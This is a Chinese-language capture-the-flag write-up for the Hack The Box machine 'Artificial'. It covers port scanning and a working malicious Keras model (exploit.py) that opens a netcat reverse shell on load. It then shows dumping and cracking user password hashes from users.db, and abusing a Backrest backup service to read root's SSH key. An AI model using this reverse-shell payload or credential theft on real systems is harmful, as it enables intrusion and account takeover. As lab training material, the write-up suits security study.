HTB-Artificial 靶场WP
HTB-Artificia 是 Hack The Box 平台上一个中等难度的机器学习主题靶机,旨在挑战用户在人工智能系统中识别和利用安全缺陷的能力。该靶场模拟了一个部署了自定义AI模型的Web应用环境,通过暴露配置不当的API、不安全的模型推理接口以及提权漏洞,引导攻击者从信息泄露入手,逐步实现远程代码执行与权限提升。Artificia 不仅考验传统的渗透测试技能,还引入了对抗机器学习(Adve
靶场介绍
HTB-Artificia 是 Hack The Box 平台上一个中等难度的机器学习主题靶机,旨在挑战用户在人工智能系统中识别和利用安全缺陷的能力。该靶场模拟了一个部署了自定义AI模型的Web应用环境,通过暴露配置不当的API、不安全的模型推理接口以及提权漏洞,引导攻击者从信息泄露入手,逐步实现远程代码执行与权限提升。Artificia 不仅考验传统的渗透测试技能,还引入了对抗机器学习(Adversarial ML)等前沿概念,是结合AI安全与实战攻防的优秀练习环境。
一、信息收集
攻击机地址
10.10.16.22
靶机地址
10.10.11.74
扫描端口
❯ sudo nmap -sV -A 10.10.11.74
扫描结果
Nmap scan report for artificial.htb (10.10.11.74)
Host is up (0.62s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7ce48d84c5de913a5a2b9d34edd69917 (RSA)
| 256 83462dcf736d286f11d51db48820d67c (ECDSA)
|_ 256 e3182e3b4061b45987e84a29240f6afc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Artificial - AI Solutions
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=7/24%OT=22%CT=1%CU=41303%PV=Y%DS=2%DC=T%G=Y%TM=6881FE1
OS:C%P=x86_64-apple-darwin17.7.0)SEQ(SP=101%GCD=1%ISR=102%TI=Z%CI=Z%II=I%TS
OS:=A)OPS(O1=M542ST11NW7%O2=M542ST11NW7%O3=M542NNT11NW7%O4=M542ST11NW7%O5=M
OS:542ST11NW7%O6=M542ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE
OS:88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M542NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=
OS:S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q
OS:=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A
OS:%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1723/tcp)
HOP RTT ADDRESS
1 405.14 ms loaclhost (10.10.16.1)
2 795.79 ms artificial.htb (10.10.11.74)
Nmap扫描发现开放22,80端口。
二、TensorFlow RCE
访问网页随意注册进去发现提示我们确认是否安装依赖,或者以docker启动。
requirements.txt中的tensorflow-cpu==2.13.1暴露了一个非常可能存在的 远程命令执行入口(通过不安全模型加载)。
踩过的坑:Mac arm的直接conda虚拟环境中安装tensorflow依赖包
配置环境,通过anaconda创建虚拟环境安装依赖
conda install -c apple tensorflow-deps
pip install tensorflow-macos
pip install tensorflow-metal
验证环境
❯ conda activate env_tensorflow
❯ python
Python 3.8.20 (default, Oct 3 2024, 10:22:23)
[Clang 14.0.6 ] :: Anaconda, Inc. on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import tensorflow as tf
>>> tf.__version__
'2.13.0'
>>>
#参考文章
https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model#getting-the-rce
#工具
https://github.com/Splinter0/tensorflow-rce
漏洞利用:python3 exploit.py
#exploit.py
import tensorflow as tf
def exploit(x):
import os
os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc VPSip 端口 >/tmp/f")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
回到网页,将生成的h5上传后开启监听,成功getshell。
三、UserFlage
我们查看当前用户为app
获取可以交互式登录用户gael
通过翻找其他目录发现users.db,进入数据库查看内容,获取hash保存下来
$ sqlite3 users.db
select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|raven|raven@gmail.com|01e2aec5149167fb8acec24e5889ff89
7|subhan|emailtest@gmail.com|202cb962ac59075b964b07152d234b70
8|test|test@test|098f6bcd4621d373cade4e832627b4f6
9|admin|admin@123.com|e10adc3949ba59abbe56e057f20f883e
10|z3d|z3d@email.htb|098f6bcd4621d373cade4e832627b4f6
爆破gael用户的hash,成功获取到c99175974b6e192936d97224638a34f8:mattp005numbertwo
登录验证密码正确并成功获取UserFlag
四、RootFlag
在根目录下找到一些奇怪的东西,打开时发现没有访问权限,尝试sudo提权也失败。
在/var 目录下找到了一个备份文件
下载到本地解压出来查看目录内容,发现config.json
获取到一个加密的密码hash
解密结果:$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
继续hashcat碰撞
backrest通过查询资料发现这个是个服务器备份的东西。既然是备份自己的,那么肯定在自身能发现到。查看自身正在监听的端口。
gael@artificial:/var$ ss -tuln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 2048 127.0.0.1:5000 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:9898 0.0.0.0:*
tcp LISTEN 0 511 [::]:80 [::]:*
tcp LISTEN 0 128 [::]:22 [::]:*
看到一个陌生的9898端口开放,将它转发出来。
ssh gael@10.10.11.74 -L 9898:localhost:9898
用刚才解密到的密码成功登陆。
创建个仓库
测试是否可以执行命令
help
backup root 备份root目录
ls e83e547b 查看备份日志,在日志中找到了/root/root.txt
ls e83e547b /root/root.txt 成功得到RootFlag
但是作者的意图并不在此。往下发现ssh密钥
通过dump e83e547b /root/.ssh/id_rsa 保存密钥
成功通过私钥登录ssh获取RootFlag
至此结束
更多推荐
所有评论(0)